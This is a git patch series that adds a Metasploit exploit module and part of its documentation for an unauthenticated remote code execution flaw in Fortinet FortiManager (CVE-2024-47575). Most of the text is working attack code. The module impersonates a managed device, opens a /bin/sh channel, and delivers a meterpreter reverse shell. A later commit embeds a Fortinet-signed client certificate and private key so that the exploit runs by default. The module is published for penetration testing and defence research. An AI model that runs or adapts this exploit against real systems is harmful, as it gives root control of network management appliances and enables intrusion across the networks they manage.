From 47f924bb8fc35bda329e73aeb2be6079b982178d Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 14 Nov 2024 18:53:12 +0000 Subject: [PATCH 01/17] add in the initial work on the FortiManager exploit. --- .../misc/fortimanager_rce_cve_2024_47575.rb | 212 ++++++++++++++++++ 1 file changed, 212 insertions(+) create mode 100644 modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb new file mode 100644 index 0000000000..610f4bcf0c --- /dev/null +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Fortinet FortiManager Unauthenticated RCE', + 'Description' => %q{ + This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager + Cloud devices to achieve unauthenticated RCE with root privileges. + + To successfully connect to a target FortiManager device, you must acquire a valid x509 certificate + from a Fortinet device. + + The vulnerable FortiManager versions are: + * 7.6.0 + * 7.4.0 through 7.4.4 + * 7.2.0 through 7.2.7 + * 7.0.0 through 7.0.12 + * 6.4.0 through 6.4.14 + * 6.2.0 through 6.2.12 + + The vulnerable FortiManager Cloud versions are: + * 7.4.1 through 7.4.4 + * 7.2.1 through 7.2.7 + * 7.0.1 through 7.0.12 + * 6.4 (all versions). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF Exploit & Rapid7 Analysis + ], + 'References' => [ + ['CVE', '2024-47575'], + ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'], + ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'], + ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423'] + ], + 'DisclosureDate' => '2024-10-23', + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Code execution as 'root' + 'DefaultOptions' => { + 'RPORT' => 541, + 'SSL' => true, + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp', + 'FETCH_COMMAND' => 'CURL' + }, + 'Targets' => [ [ 'Default', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('SSLClientCert', [true, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]), + OptString.new('SSLClientKey', [true, 'A file path to the corresponding private key for the SSLClientCert.', nil]), + OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the SSLClientCert.', nil]), + OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.', nil]) + ] + ) + end + + def check + s = make_socket + + peer_cert = OpenSSL::X509::Certificate.new(s.peer_cert) + + s.close + + organization = nil + common_name = nil + + peer_cert.subject.to_a.each do |item| + if item[0] == 'O' + organization = item[1] + elsif item[0] == 'CN' + common_name = item[1] + end + end + + # Detect that the target is a Fortinet FortiManager, by instepcting the certificate the server is using. + # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial + # number identifier. + return CheckCode::Detected if organization == 'Fortinet' && common_name&.start_with?('FMG-') + + CheckCode::Unknown + end + + def exploit + client_cert_raw = File.read(datastore['SSLClientCert']) + + client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) + + common_name = nil + + client_cert.subject.to_a.each do |item| + if item[0] == 'CN' + common_name = item[1] + break + end + end + + print_status("Client certificate common name: #{common_name}") + + serial_number = 'FMG-VMTM24011111' + platform = 'FortiManager-VM64' + + if common_name.start_with?('FMG-') + serial_number = common_name + platform = 'FortiManager-VM64' + elsif common_name.start_with?('FG') + serial_number = common_name + platform = 'FortiGate-VM64' + else + print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.') + end + + serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber'] + platform = datastore['ClientPlatform'] if datastore['ClientPlatform'] + + print_status("Using client serial number: #{serial_number}") + print_status("Using client platform: #{platform}") + + print_status('Connecting...') + + s = make_socket + + fail_with(Failure::UnexpectedReply, 'Connection failed.') unless s + + print_status('Registering device...') + + req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00" + + resp1 = send_packet(s, req1) + + unless resp1.include? 'reply 200' + fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') + end + + print_status('Creating channel...') + + req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00" + + resp2 = send_packet(s, req2) + + unless resp2.include? 'action=ack' + fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') + end + + localid = resp2.match(/localid=(\d+)/) + unless localid + fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.') + end + + print_status('Triggering...') + + req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n" + + send_packet(s, req3, read: false) + + # A short delay, as we send our payload over the chanel, we want to keep this channel open long enough for the + # server-side to process it and execute the payload, before we tear down the socket. + Rex::ThreadSafe.sleep(1) + + s.close + end + + def make_socket + Rex::Socket::Tcp.create( + 'PeerHost' => datastore['RHOST'], + 'PeerPort' => datastore['RPORT'], + 'SSL' => true, + 'SSLVerifyMode' => 'NONE', + 'SSLClientCert' => datastore['SSLClientCert'], + 'SSLClientKey' => datastore['SSLClientKey'], + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + end + + def send_packet(s, data, read: true) + packet = [0x36E01100, data.length + 8].pack('NN') + + packet += data + + s.write(packet) + + return unless read + + _, len = s.read(8).unpack('NN') + + s.read(len - 8) + end +end From e89c27fa3bacc9a5e8c1a35e12746ecb226d5a71 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 08:54:32 +0000 Subject: [PATCH 02/17] fix some typos. Make msftidy happy. Add comments to the external references. --- .../linux/misc/fortimanager_rce_cve_2024_47575.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 610f4bcf0c..9e45b84695 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -40,8 +40,11 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ ['CVE', '2024-47575'], + # AttackerKB Rapid7 Analysis. ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'], + # BishopFox details certificate requirements for connecting to the FGFM service. ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'], + # Vendor Advisory. ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423'] ], 'DisclosureDate' => '2024-10-23', @@ -93,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - # Detect that the target is a Fortinet FortiManager, by instepcting the certificate the server is using. + # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial # number identifier. return CheckCode::Detected if organization == 'Fortinet' && common_name&.start_with?('FMG-') @@ -196,17 +199,17 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def send_packet(s, data, read: true) + def send_packet(sock, data, read: true) packet = [0x36E01100, data.length + 8].pack('NN') packet += data - s.write(packet) + sock.write(packet) return unless read - _, len = s.read(8).unpack('NN') + _, len = sock.read(8).unpack('NN') - s.read(len - 8) + sock.read(len - 8) end end From 91587ce30b57908fa7071592cfe50299b6d24300 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 09:42:06 +0000 Subject: [PATCH 03/17] this message can be on a single line --- modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 9e45b84695..7983115c8b 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -136,8 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber'] platform = datastore['ClientPlatform'] if datastore['ClientPlatform'] - print_status("Using client serial number: #{serial_number}") - print_status("Using client platform: #{platform}") + print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.") print_status('Connecting...') From 6eb15d5b660348250c22bcd6604543b3cfd48dd3 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 09:42:59 +0000 Subject: [PATCH 04/17] add a helper method get_cert_subject_item --- .../misc/fortimanager_rce_cve_2024_47575.rb | 27 +++++++------------ 1 file changed, 10 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 7983115c8b..a53270987b 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -85,16 +85,9 @@ class MetasploitModule < Msf::Exploit::Remote s.close - organization = nil - common_name = nil + organization = get_cert_subject_item(peer_cert, 'O') - peer_cert.subject.to_a.each do |item| - if item[0] == 'O' - organization = item[1] - elsif item[0] == 'CN' - common_name = item[1] - end - end + common_name = get_cert_subject_item(peer_cert, 'CN') # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial @@ -109,14 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) - common_name = nil - - client_cert.subject.to_a.each do |item| - if item[0] == 'CN' - common_name = item[1] - break - end - end + common_name = get_cert_subject_item(client_cert, 'CN') print_status("Client certificate common name: #{common_name}") @@ -211,4 +197,11 @@ class MetasploitModule < Msf::Exploit::Remote sock.read(len - 8) end + + def get_cert_subject_item(cert, type) + cert.subject.to_a.each do |item| + return item[1] if item[0] == type + end + nil + end end From c3bd4792ece9ded419a520fee1de04bc8720664c Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 09:44:50 +0000 Subject: [PATCH 05/17] rename SSLClientCert and SSLClientKey to ClientCert and ClientKey. This then matcheds up with ClientSerialNumber and ClientPlatform, which is clearer IMHO. Also, we explicitly create a Rex TCP socket, so these param names no longer collide with what a mixin would use --- .../misc/fortimanager_rce_cve_2024_47575.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index a53270987b..586e8cd7b9 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -70,9 +70,9 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('SSLClientCert', [true, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]), - OptString.new('SSLClientKey', [true, 'A file path to the corresponding private key for the SSLClientCert.', nil]), - OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the SSLClientCert.', nil]), + OptString.new('ClientCert', [true, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]), + OptString.new('ClientKey', [true, 'A file path to the corresponding private key for the ClientCert.', nil]), + OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.', nil]), OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.', nil]) ] ) @@ -92,13 +92,13 @@ class MetasploitModule < Msf::Exploit::Remote # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial # number identifier. - return CheckCode::Detected if organization == 'Fortinet' && common_name&.start_with?('FMG-') + return CheckCode::Detected if organization == 'Fortinet' && common_name&.start_with?('FMG') CheckCode::Unknown end def exploit - client_cert_raw = File.read(datastore['SSLClientCert']) + client_cert_raw = File.read(datastore['ClientCert']) client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) @@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote serial_number = 'FMG-VMTM24011111' platform = 'FortiManager-VM64' - if common_name.start_with?('FMG-') + if common_name.start_with?('FMG') serial_number = common_name platform = 'FortiManager-VM64' elsif common_name.start_with?('FG') @@ -174,8 +174,8 @@ class MetasploitModule < Msf::Exploit::Remote 'PeerPort' => datastore['RPORT'], 'SSL' => true, 'SSLVerifyMode' => 'NONE', - 'SSLClientCert' => datastore['SSLClientCert'], - 'SSLClientKey' => datastore['SSLClientKey'], + 'SSLClientCert' => datastore['ClientCert'], + 'SSLClientKey' => datastore['ClientKey'], 'Context' => { 'Msf' => framework, From 51ad7ad0bf249d3f8b7e79561ffae5bf65049f45 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 12:27:33 +0000 Subject: [PATCH 06/17] improve the send_packet logic to fail gracefully if bad data is recieved --- .../misc/fortimanager_rce_cve_2024_47575.rb | 25 ++++++++++++++++--- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 586e8cd7b9..bd5e24b603 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote resp1 = send_packet(s, req1) - unless resp1.include? 'reply 200' + unless resp1&.include?('reply 200') fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') end @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote resp2 = send_packet(s, req2) - unless resp2.include? 'action=ack' + unless resp2&.include?('action=ack') fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') end @@ -191,9 +191,26 @@ class MetasploitModule < Msf::Exploit::Remote sock.write(packet) - return unless read + return nil unless read - _, len = sock.read(8).unpack('NN') + header = sock.read(8) + + unless header + print_error('Failed to read an FGFM header') + return nil + end + + magic, len = header.unpack('NN') + + unless magic == 0x36E01100 + print_error('Bad magic value in FGFM header') + return nil + end + + unless len >= 8 + print_error('Bad length value in FGFM header') + return nil + end sock.read(len - 8) end From 2ec5778405460fe26dbfd273d06fbe1ff0549c78 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 12:28:25 +0000 Subject: [PATCH 07/17] get_cert_subject_item may return nil, so test for that here --- modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index bd5e24b603..b73f0a7027 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -104,6 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote common_name = get_cert_subject_item(client_cert, 'CN') + fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name + print_status("Client certificate common name: #{common_name}") serial_number = 'FMG-VMTM24011111' From e520ca7ee9d7631e5e1e589582937fd208c54b0c Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 12:29:31 +0000 Subject: [PATCH 08/17] comment the intent of this code block --- .../exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index b73f0a7027..3ad53a9689 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -111,10 +111,13 @@ class MetasploitModule < Msf::Exploit::Remote serial_number = 'FMG-VMTM24011111' platform = 'FortiManager-VM64' - if common_name.start_with?('FMG') + # The platform needs to be the expected type of the corresponding serial number. We try to match these up here, + # and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options + # in case it is needed. + if common_name.start_with? 'FMG' serial_number = common_name platform = 'FortiManager-VM64' - elsif common_name.start_with?('FG') + elsif common_name.start_with? 'FG' serial_number = common_name platform = 'FortiGate-VM64' else From feb1ac79dad426f5d3e46fa9514518055c04f1c7 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 17:41:31 +0000 Subject: [PATCH 09/17] add in a suitable certificate and private key to use by default. --- .../misc/fortimanager_rce_cve_2024_47575.rb | 114 ++++++++++++++++-- 1 file changed, 103 insertions(+), 11 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 3ad53a9689..8c0aa3b12e 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -17,9 +17,6 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager Cloud devices to achieve unauthenticated RCE with root privileges. - To successfully connect to a target FortiManager device, you must acquire a valid x509 certificate - from a Fortinet device. - The vulnerable FortiManager versions are: * 7.6.0 * 7.4.0 through 7.4.4 @@ -70,8 +67,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('ClientCert', [true, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]), - OptString.new('ClientKey', [true, 'A file path to the corresponding private key for the ClientCert.', nil]), + # The exploit provides a suitable client certificate/key pair by default, however we can let a user configure + # a different certificate/key pair to use if they want. The user can also override the serial number and + # platform if needed, but the exploit will try to detect the serial number and platform from the certificate + # by default. + OptString.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]), + OptString.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.', nil]), OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.', nil]), OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.', nil]) ] @@ -98,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - client_cert_raw = File.read(datastore['ClientCert']) + client_cert_raw = datastore['ClientCert'] ? File.read(datastore['ClientCert']) : get_client_cert client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) @@ -108,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Client certificate common name: #{common_name}") - serial_number = 'FMG-VMTM24011111' + serial_number = 'FMG-VM0000000000' platform = 'FortiManager-VM64' # The platform needs to be the expected type of the corresponding serial number. We try to match these up here, @@ -125,6 +126,7 @@ class MetasploitModule < Msf::Exploit::Remote end serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber'] + platform = datastore['ClientPlatform'] if datastore['ClientPlatform'] print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.") @@ -173,20 +175,33 @@ class MetasploitModule < Msf::Exploit::Remote s.close end + # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may + # either be a file path, or a blob of text. def make_socket - Rex::Socket::Tcp.create( + hash = { + 'Proto' => 'tcp', 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'SSL' => true, 'SSLVerifyMode' => 'NONE', - 'SSLClientCert' => datastore['ClientCert'], - 'SSLClientKey' => datastore['ClientKey'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - ) + } + + hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert'] + + hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey'] + + params = Rex::Socket::Parameters.from_hash(hash) + + params.ssl_client_cert = get_client_cert unless datastore['ClientCert'] + + params.ssl_client_key = get_client_key unless datastore['ClientKey'] + + Rex::Socket::Tcp.create_param(params) end def send_packet(sock, data, read: true) @@ -226,4 +241,81 @@ class MetasploitModule < Msf::Exploit::Remote end nil end + +=begin +An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a +serial number of FMG-VM0000000000 and a platform of FortiManager-VM64. + +$ sha1sum Fortinet_Local2.cer +9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer +$ sha1sum Fortinet_Local2.key +d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key +$ openssl x509 -noout -text -in Fortinet_Local2.cer +Certificate: + Data: + Version: 3 (0x2) + Serial Number: 405822 (0x6313e) + Signature Algorithm: sha256WithRSAEncryption + Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com + Validity + Not Before: Nov 10 21:14:26 2017 GMT + Not After : Jan 19 03:14:07 2038 GMT + Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com +=end + def get_client_cert + "-----BEGIN CERTIFICATE----- +MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV +UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD +VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw +DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0 +LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG +EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw +DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD +ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp +bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV +jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w +oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd +pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn +hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE +IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR +utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA +l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg +zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv +w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl +35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd +ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+ +7pactwTnQmwhvlLQ7Z/dOg== +-----END CERTIFICATE-----" + end + + def get_client_key + "-----BEGIN PRIVATE KEY----- +MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH +BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi +UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD +CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf +7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0 +yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY +OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG +ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj +pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU +BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT +0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2 +3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve +nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl +DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y +jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz +6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6 +KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW +Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL +1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj +MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB +2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E +871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q +IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i +BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e +oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu +Lh1BvSCTWFh0WIUxOrNlmlg1Uw== +-----END PRIVATE KEY-----" + end end From c58dbbfb61b7c32a5ea8d51878b4caf423a7157c Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 15 Nov 2024 17:42:57 +0000 Subject: [PATCH 10/17] add in documentation --- .../misc/fortimanager_rce_cve_2024_47575.md | 146 ++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md diff --git a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md new file mode 100644 index 0000000000..fdc578c3d3 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md @@ -0,0 +1,146 @@ +## Vulnerable Application +This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager +Cloud devices to achieve unauthenticated RCE with root privileges. + +For a full technical analysis, please see our +AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis). + +The vulnerable FortiManager versions are: +* 7.6.0 +* 7.4.0 through 7.4.4 +* 7.2.0 through 7.2.7 +* 7.0.0 through 7.0.12 +* 6.4.0 through 6.4.14 +* 6.2.0 through 6.2.12 + +The vulnerable FortiManager Cloud versions are: +* 7.4.1 through 7.4.4 +* 7.2.1 through 7.2.7 +* 7.0.1 through 7.0.12 +* 6.4 (all versions). + +## Testing +You will need to acquire a firmware image for a suitable version of FortiManager. For example, to deploy FortiManager +`7.6.0` as a VM on HyperV, download the file `FMG_VM64_HV-v7.6.0.F-build3340-FORTINET.out.hyperv.zip`. +* Extract the contents of this archive. You will get a primary hard drive image 